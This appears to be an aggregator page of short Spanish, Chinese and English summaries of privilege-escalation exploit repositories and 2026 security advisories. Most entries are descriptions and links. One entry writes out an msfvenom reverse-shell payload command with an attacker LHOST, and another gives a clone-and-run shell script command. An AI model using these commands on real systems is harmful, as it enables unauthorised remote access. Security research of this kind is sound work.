CVE-2020-0668

CVE-2020-0668 Usa CVE-2020-0668 para realizar una operación arbitraria de movimiento de archivos con privilegios. Usa https://github.com/itm4n/UsoDllLoader Windows = 1903 O https://github.com/xct/diaghub Windows 1903 para la escalada de privilegios. Demo Enlaces y Recursos...

Privilege-escalation-MitraStar

Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Vulnerabilidad de escalada de privilegios en routers MitraStar Dispositivo: Mitrastar GPT-2541GNAC-N1 Firmware: BRg3.5100VNZ0b33 no probado en otras versiones Exploit: Los dispositivos Mitrastar GPT-2541GNAC-N1 proporcionan acce...

2022-LPE-UAF

2022-LPE-UAF Código PoC sin probar Investigadores de seguridad descubrieron 3 vulnerabilidades en el kernel de Linux que podrían permitir a un atacante local elevar privilegios y potencialmente ejecutar código malicioso. El código de prueba de concepto está disponible públicamente, lo que aumenta...

CVE-2019-8781-macOS

CVE-2019-8781 Aviso de Seguridad CVE-2019-8781 Detalles del POC El POC eleva el proceso a root y ejecuta un shell. Entorno de explotación root@kitploit: - macOS 10.14.6 18G95 Debería funcionar en todas las versiones de macOS lanzadas antes de 10.15.0 - SMEP: Activado - SMAP: Desactivado - Se pasa...

Kibana 9.4.7, 9.5.0 Security Update (ESA-2026-85)

Unintended Proxy or Intermediary 'Confused Deputy' in Kibana Leading to Privilege Escalation Unintended Proxy or Intermediary 'Confused Deputy' CWE-441 in Kibana Agent Builder can lead to privilege escalation. A non-administrative user able to edit a shared agent could cause privileged operations...

CVE-2020-0796-LPE

CVE-2020-0796-LPE SMBGHOST local privilege escalation https://github.com/ZecOps/CVE-2020-0796-LPE-POC https://github.com/danigargu/CVE-2020-0796...

StackRot

StackRot CVE-2023-3269: vulnerabilidad de escalada de privilegios en el kernel de Linux Exploit verificado por GitHub-CI Se encontró una falla en el manejo de la expansión de la pila en el kernel de Linux 6.1 hasta 6.4, también conocida como "Stack Rot". El árbol maple, responsable de gestionar l...

CVE-2020-29669

Macally WIFISD2-2A82 Writeup para CVE-2020-29669 por Maximilian Barz Silky y Daniel Schwendner code-byter ========================== Este es un writeup de explotación del Macally WIFISD2-2A82 Travel Router versión de firmware: 2.000.010. El usuario invitado puede restablecer su propia contraseña...

CVE-2025-21420-PoC

CVE-2025-21420 PoC Vulnerabilidad de Elevación de Privilegios en la Herramienta de Liberación de Espacio en Disco de Windows Hasta donde sé, aunque incompleto, este es el primer PoC para esta CVE. https://nvd.nist.gov/vuln/detail/CVE-2025-21420 https://vulners.com/cve/CVE-2025-21420 Encontramos u...

CVE-2020-36603

CVE-2020-36603 El controlador anti-trampas mhyprot2.sys 1.0.0.0 de HoYoVerse anteriormente miHoYo para Genshin Impact no restringe adecuadamente las llamadas a funciones no privilegiadas, lo que permite a los usuarios locales sin privilegios ejecutar código arbitrario con privilegios de SYSTEM en...

kernel-exploits

Exploits del kernel Varios exploits del kernel CVE-2021-22555 Exploit local de root en Linux. Versión actualizada del exploit de theflow para CVE-2021-22555. Se descubrió una escritura fuera de los límites del heap que afecta a Linux desde v2.6.19-rc1 en net/netfilter/xtables.c. Esto permite a un...

CVE-2026-96448

A flaw was found in the Fine-Grained Admin Permissions FGAP v2 feature of Keycloak, an identity and access management solution. The issue occurs when the system checks if a delegated administrator has permission to assign a specific role to a user. Because the check does not look inside composite...

CVE-2026-93901

The Optima Express IDX plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 8.7.5. This is due to the provisionBlogCredentials function in iHomefinderAdmin.php being reachable via the wpajaxnoprivihfclearcache AJAX action — through the call chain...

CVE-2026-89426

The Knit Pay – Cashfree, Instamojo, Razorpay, PayPal and more plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 9.6.1.0. This is due to the maybeupdateuserrole function reading the target role directly from an attacker-controlled Gravity Forms entry...

NimNightmare

CVE-2021-1675 LPE PoC ¡no es mi exploit! solo quería experimentar con la librería winim en nim. Uso Genera el payload DLL con msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll y luego inicia el handler en tu máquina atacante. En la víctima ejecuta...

Awesome-RedTeam-Cheatsheet

红队技术 初始访问技术（即将推出） 代码执行技术（即将推出） 横向移动技术（即将推出） 规避技术（即将推出） 持久化技术（即将推出） 权限提升技术（即将推出） 凭据转储技术（即将推出） Pivoting 技术（即将推出） Windows 协议与术语 Windows 协议与术语指南（即将推出） 其他 OPSEC 指南 恶意软件开发 攻击 AD Azure Cloud（即将推出） 支持 你可以在这里支持我 🐱 : Active Directory 速查表 这份 AD 攻击速查表由 RistBS 制作，灵感来源于 Active-Directory-Exploitation-Cheat-Shee...

CVE-2022-30206

CVE-2022-30206 Este es el PoC para CVE-2022-30206. Introducción Realice las siguientes operaciones para el borrado arbitrario de archivos: 1. Ejecute addprinter.exe para crear una impresora y establecer SpoolDirectory en C:\Users\Public\tmp\1. 2. Ejecute FileLock.exe TargetFile para redirigir el...

CVE-2022-21882

CVE-2022-21882 Vulnerabilidad de elevación de privilegios de Win32k Solo para Windows 10 21H2...

SMBGhost-LPE-Metasploit-Module

SMBGhost-LPE-Metasploit-Module 这是一个针对CVE-2020-0796（又名SMBGhost）漏洞的实现，兼容Metasploit Framework。 注意事项： 此模块设计为在您拥有有效Shell时用于提升权限。 您可以更改有效载荷，如果您想使用自定义的DLL Shellcode，或者以某种方式对其进行编码。 可执行文件经过修改以规避检测，并使其能够运行并注入DLL Shellcode。 演示 致谢 感谢漏洞利用的作者 Daniel García Gutiérrez, Manuel Blanco Parajón。 同时感谢Spencer...

CVE-2021-3156-PATCHER

Este sencillo script de bash parcheará la vulnerabilidad de desbordamiento de heap de sudo descubierta recientemente. Simplemente ejecuta git clone https://github.com/elbee-cyber/CVE-2021-3156-PATCHER && cd CVE-2021-3156-PATCHER && sh CVE-2021-3156-patcher.sh Este parche es extremadamente...